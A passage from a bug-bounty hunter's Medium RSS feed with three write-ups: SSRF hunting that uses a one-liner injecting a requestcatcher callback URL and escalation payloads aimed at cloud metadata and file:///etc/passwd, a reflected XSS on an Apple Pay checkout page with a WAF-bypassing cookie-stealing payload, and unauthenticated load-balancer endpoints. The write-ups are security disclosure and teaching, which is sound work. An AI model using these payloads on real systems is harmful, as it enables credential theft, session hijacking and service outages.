p){sub(/=.*/,&quot;=https://ashiquremon.requestcatcher.com/emon&quot; c,p[i]); c++;} out=domain&quot;?&quot;p[1]; for(i=2;i&lt;=length(p);i++) out=out&quot;&amp;&quot;p[i]; print out} else print domain}&#39;|grep -i requestcatcher | httpx -silent -fr</pre><blockquote><strong><em>Pro Tip:</em></strong><em> If you see your own IP address in the logs, it is an </em><strong><em>Open Redirect try to escalate it to Account takeover </em></strong><em>. If you see the server’s IP address, you’ve found a potential </em><strong><em>SSRF</em></strong><em>.</em></blockquote><h3>Phase 4: Escalation (The “Pro” in the Title)</h3><p>A simple HTTP pingback is often marked as <strong>Low</strong> or <strong>Informative</strong>. To get that <strong>Critical</strong> bounty, you must demonstrate impact:</p><ul><li><strong>Internal Port Scanning:</strong> Try hitting 127.0.0.1:[port] to find internal services (Redis, Jenkins, etc.).</li><li><strong>Cloud Metadata Exfiltration:</strong></li><li><strong>AWS/GCP:</strong> <a href="http://169.254.169.254/latest/meta-data/">http://169.254.169.254/latest/meta-data/</a></li><li><strong>Azure:</strong> <a href="http://169.254.169.254/metadata/instance?api-version=2021-02-01">http://169.254.169.254/metadata/instance?api-version=2021-02-01</a></li><li><strong>Local File Read:</strong> Use protocols like file:///etc/passwd , gopher://or dict://.</li><li><strong>WAF Bypass:</strong> Use enclosures, decimal IP encoding, or DNS rebinding if the simple payloads are blocked.</li></ul><h3>Thanks for reading</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fbd0e7cdc246" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Found 14+ Reflected XSS in a Major Apple Pay Integration]]></title>
            <link>https://medium.com/@ashiq.r.emon/how-i-found-14-reflected-xss-in-a-major-apple-pay-integration-d557fcaf11e5?source=rss-147a773a69ea------2</link>
            <guid isPermaLink="false">https://medium.com/p/d557fcaf11e5</guid>
            <dc:creator><![CDATA[Ashiqur Rahman Emon]]></dc:creator>
            <pubDate>Fri, 26 Dec 2025 06:20:15 GMT</pubDate>
            <atom:updated>2025-12-26T13:20:19.874Z</atom:updated>
            <content:encoded><![CDATA[<p>In the world of bug bounty hunting, payment wall, gateways and checkout pages are “high-value” targets. They are the intersection where user trust meets sensitive data. Recently, while analyzing a payment service provider’s Apple Pay implementation, I discovered a massive Reflected Cross-Site Scripting (XSS) vulnerability affecting 14 different parameters on a single endpoint.</p><p>Here is the story of how a simple reflection turned into a full-scale WAF bypass.</p><h3>1. The Discovery: A Target-Rich Environment</h3><p>While proxying traffic through Burp Suite, I came across an interesting endpoint used to initialize Apple Pay sessions. The URL looked something like this:</p><p>https://applepay.[REDACTED].com/applepay?token_key=productions_abc123&amp;merchantCapabilities=[&quot;supports3DS&quot;]&amp;totalLabel=Product...</p><p>Upon inspecting the page source, I noticed something that makes every security researcher’s eyes light up: <strong>Direct Reflection.</strong></p><p>The server was taking URL parameters and injecting them directly into a &lt;script&gt; block to initialize JavaScript variables.</p><h3>The Vulnerable Code Snippet:</h3><p>HTML</p><pre>&lt;script nonce=&quot;jaZfAGfgVEUJKzHpj7yDQw==&quot;&gt;<br>    let merchantIdentifier = &#39;merchant.com.[REDACTED]&#39;;<br>    let totalLabel = &#39;tech Product&#39;; // &lt;--- Reflection 1<br>    let totalAmount = &#39;7.51&#39;;          // &lt;--- Reflection 2<br>    let tokenKey = &#39;productions...&#39;;   // &lt;--- Reflection 3<br>    let merchantCapabilities = [&quot;supports3DS&quot;,&quot;supportsCredit&quot;]; // &lt;--- Reflection 4<br>    // ... and 10 more parameters<br>&lt;/script&gt;</pre><h3>2. The Hurdle: WAF vs. Reality</h3><p>My first instinct was to test a classic payload to break out of the JavaScript string and execute code.</p><p><strong>Initial Payload:</strong> &#39;;alert(document.cookie);//</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*8yfe7hkxTwovdiZbIzp6Tw.png" /></figure><p>However, the request was immediately met with a <strong>403 Forbidden</strong> or a generic “Request Blocked” page. The Web Application Firewall (WAF) was actively monitoring for common XSS patterns like alert(), confirm(), and prompt().</p><h3>The Bypass</h3><p>WAFs often rely on signature-based detection. To bypass this, I used globalThis. globalThis is a standard way to access the global scope (the window object in browsers) across different environments. By prepending it to the alert function, I was able to slip past the filters.</p><p><strong>Modified Payload:</strong> &#39;;globalThis.alert(document.cookie);//</p><h3>3. The “Double-Quote” Twist</h3><p>The vulnerability was unique because the parameters were reflected in two different JavaScript contexts:</p><h3>Type A: String Variables</h3><p>For parameters like totalLabel or tokenKey, the reflection was inside a single-quoted string:</p><ul><li><strong>Code:</strong> let totalLabel = &#39;VALUE&#39;;</li><li><strong>Payload:</strong> &#39;;globalThis.alert(document.cookie);//</li><li><strong>Result:</strong> let totalLabel = &#39;&#39;;globalThis.alert(document.cookie);//’; (Success!)</li></ul><h3>Type B: JSON-like Arrays</h3><p>For parameters like merchantCapabilities or requiredBillingContactFields etc, the values were reflected inside an array bracket [].</p><ul><li><strong>Code:</strong> let merchantCapabilities = [&quot;VALUE&quot;];</li><li><strong>The Logic:</strong> In this specific implementation, I found that I needed a single quotation breakout to escape the array’s string element properly.</li><li><strong>Payload:</strong> ’’;globalThis.alert(document.cookie);//</li><li><strong>Result:</strong> let merchantCapabilities = ’’;globalThis.alert(document.cookie);//; (Success!)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sWV6D8zJ286ES8-wHgN5Ug.png" /></figure><h3>4. Scaling the Attack</h3><p>After confirming the bypass on one parameter, I tested the rest. Out of the 18 parameters passed in the URL, <strong>14 were vulnerable.</strong> This meant an attacker had 14 different entry points to inject malicious scripts into the applepay.[REDACTED].com domain.</p><h3>Impact Assessment</h3><ul><li>An attacker can execute arbitrary JavaScript in the context of the victim’s browser</li><li>Account takeover via session theft</li><li>Payment manipulation risks</li><li>Full control of the user’s interaction with the payment page</li><li>Phishing or UI redressing attacks</li></ul><h3>5. Remediation Advice</h3><p>To fix this, developers should never trust user input within a &lt;script&gt; block.</p><ul><li><strong>Output Encoding:</strong> Use proper JavaScript-context encoding for all reflected values.</li><li><strong>Use JSON.parse:</strong> Instead of injecting values directly into JS variables, pass the data as a JSON string to a data attribute and parse it safely via JSON.parse().</li><li><strong>Content Security Policy (CSP):</strong> Implement a strict CSP that prevents the execution of inline scripts and restricts where scripts can be loaded from.</li></ul><h3>Timeline</h3><ul><li><strong>Discovery:</strong> Identified reflection on applepay endpoint.</li><li><strong>Exploitation:</strong> Bypassed WAF using globalThis.</li><li><strong>Reporting:</strong> Sent detailed PoC to the security team.</li><li><strong>Resolution:</strong> The issue has been acknowledged, and the team is planning a fix.</li></ul><h3><strong>Don’t forget to follow me to stay updated with my latest findings!</strong></h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d557fcaf11e5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Unauthenticated Endpoints Could Remove All Application Servers From the Load Balancer Pool…]]></title>
            <link>https://medium.com/@ashiq.r.emon/unauthenticated-endpoints-could-remove-all-application-servers-from-the-load-balancer-pool-1dd333299603?source=rss-147a773a69ea------2</link>
            <guid isPermaLink="false">https://medium.com/p/1dd333299603</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Ashiqur Rahman Emon]]></dc:creator>
            <pubDate>Wed, 03 Dec 2025 07:50:21 GMT</pubDate>
            <atom:updated>2025-12-03T07:58:35.779Z</atom:updated>
            <content:encoded><![CDATA[<h3>Unauthenticated Endpoints Could Remove All Application Servers From the Load Balancer Pool (Critical :P1)</h3><h3>Summary (Brief Core Cause)</h3><p>During a routine web application penetration test, I discovered several publicly accessible, unauthenticated endpoints designed for <strong>critical server and business operations</strong>. Specifically, these endpoints could be leveraged to unilaterally remove all application servers from the load balancer pool, potentially causing a <strong>Denial of Service (DoS)</strong>, or manipulate paywall settings, leading to <strong>direct business revenue loss</strong>. The functions governed by these endpoints should be restricted to authenticated, internal operations staff.</p><p>2. Reconnaissance and Discovery<br>My initial fuzzing with a small wordlist revealed a publicly accessible status endpoint (e.g., <a href="https://[RedactedDomain]/status">https://[RedactedDomain]/status</a>). This endpoint’s behavior suggested that it was providing insight into the server’s operational state.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0AIk3z5OKPfb8iOTGEc-xQ.png" /><figcaption>/status enpoint</figcaption></figure><p>Upon expanding the fuzzing efforts with a large, general-purpose wordlist (/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt), I successfully discovered two additional unauthenticated endpoints:<br>/enable<br>/disable</p><p>3. Reproduction Steps (PoC)<br>The following steps demonstrate how an unauthenticated attacker could cause a service disruption by repeatedly accessing the /disable endpoint:<br>1. Check Service Status: Verify the current state of the application pool by navigating to the status page.<br>Endpoint: <a href="https://[RedactedDomain]/status">https://[RedactedDomain]/status</a></p><p>2.Trigger Service Addition: Send repeated, unauthenticated GET requests to the /enable endpoint. this action adds the targeted server to the load balancer pool.<br><a href="https://[RedactedDomain]/enable">https://[RedactedDomain]/enable</a></p><p>3.Trigger Service Removal: Send repeated, unauthenticated GET requests to the /disable endpoint. this action removes the targeted server from the load balancer pool.<br>Endpoint: <a href="https://[RedactedDomain]/disable">https://[RedactedDomain]/disable</a></p><p>4. Conclusion</p><p>This case perfectly illustrates the danger of <strong>Broken Access Control</strong> on sensitive operational endpoints. Although the initial interpretation was related to debug mode, the actual function (load balancing and paywall control) carried a far greater risk of business-critical impact.</p><p>The vendor (company) confirmed the finding and immediately secured the endpoints. They issued a clarification stating that repeated calls to /disable could indeed have caused a complete service outage. I am grateful for the speedy and professional response from the security team and their commitment to securing their infrastructure.</p><p>The company rewarded €€€€ as a token of appreciation</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1dd333299603" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>